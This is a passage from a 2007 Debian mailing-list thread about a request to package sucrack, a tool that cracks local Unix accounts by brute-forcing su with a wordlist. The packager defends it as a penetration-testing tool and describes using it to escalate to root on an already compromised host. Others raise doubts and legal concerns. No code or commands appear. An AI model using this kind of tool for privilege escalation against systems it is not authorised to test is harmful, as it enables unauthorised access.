of tools packaged by Debian (depending on what you use your systems for). Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#414534: ITP: sucrack -- multithreaded su bruteforcer
On Monday 12 March 2007 13:02, Marco d'Itri wrote: On Mar 12, Tim Brown [EMAIL PROTECTED] wrote: sucrack is a multithreaded Linux/UNIX tool for cracking local user accounts via wordlist bruteforcing su What is the point of packaging this? I'm packaging a bunch of security tools that I use in my job pen testing. There are already a number of people both internally and at other security companies using my packages, so I figured they'd be useful to the community. I actually have a mentor for these packages already, so it seems there are Debian developers that agree. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#414534: ITP: sucrack -- multithreaded su bruteforcer
On Monday 12 March 2007 16:08, Hendrik Sattler wrote: Am Montag 12 März 2007 12:30 schrieb Tim Brown: Package: wnpp Severity: wishlist Owner: Tim Brown [EMAIL PROTECTED] * Package name: sucrack Version : 1.1 Upstream Author : Nico Leidecker [EMAIL PROTECTED] * URL : http://www.leidecker.info/ * License : GPL Programming Lang: C Description : multithreaded su bruteforcer sucrack is a multithreaded Linux/UNIX tool for cracking local user accounts via wordlist bruteforcing su Is there any real need for such a tool in Debian? It's not an administrative tool and it's obviously not meant for security tests. I just can't see what the normal use of this tool would be. HS I disagree, it is used for security work. I use it as part of my day job as a penetration tester, as have others including the author Nico, who is a colleague of mine. Have you followed my responses to Marco d'Itri who raised similar queries? Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/
Bug#414534: ITP: sucrack -- multithreaded su bruteforcer
On Monday 12 March 2007 17:06, you wrote: * Package name: sucrack Version : 1.1 Upstream Author : Nico Leidecker [EMAIL PROTECTED] * URL : http://www.leidecker.info/ * License : GPL Programming Lang: C Description : multithreaded su bruteforcer sucrack is a multithreaded Linux/UNIX tool for cracking local user accounts via wordlist bruteforcing su What advantages does this tool have over John the Ripper (Debian package john)? John actually requires you have access to the hashed / encrypted passwords. Since sucrack drives a console tool (by default su) it can be used in places where John can't - for example auditing SSH key phrases, or where the penetration tester is attempting to escalate privileges on an already compromised system. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#414534: ITP: sucrack -- multithreaded su bruteforcer
Nope since he that did not go to d-d. Maybe you can outline professional uses in the description like done in the previous answers? As to previous answers, verbatim: I'm packaging a bunch of security tools that I use in my job pen testing. There are already a number of people both internally and at other security companies using my packages, so I figured they'd be useful to the community. I actually have a mentor for these packages already, so it seems there are Debian developers that agree. and: It's built statically. Normally what happens, is that during an assessment, if a local account is compromised, then sucrack is copied across and an attack against root occurs. Additionally, because this tool doesn't rely on having access to the hashes, but actually drives su (or other tools), it can be used against for example custom encryption schemes that may be used by 3rd parties. I've also had it drive ssh-agent to audit key phrases too. Why package it? Other than the practical uses outlined above, because having binaries on a system outside of the package management system is a PITA to keep track of / update and it makes building a new system very quick. I can see this tool isn't for everyone, but then that probably goes for a large number of tools packaged by Debian (depending on what you use your systems for). IANAL but there may be countries where distributing such a tool, with it's main/only purpose to break access restrictions, may not be legal (there was some discussion about this in Germany but I did not follow it closely). The upstream developer is German, I will discuss with him any due diligence he may have performed and report back (he's AFK for next week or so). Personally, I am English. Through my day job, I have clarification regarding changes to UK law that might affect this tool and we have had assurances that legitimate security researchers and the tools they develop will not be targetted here in the UK. Tim -- Tim Brown mailto:[EMAIL PROTECTED] http://www.nth-dimension.org.uk/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
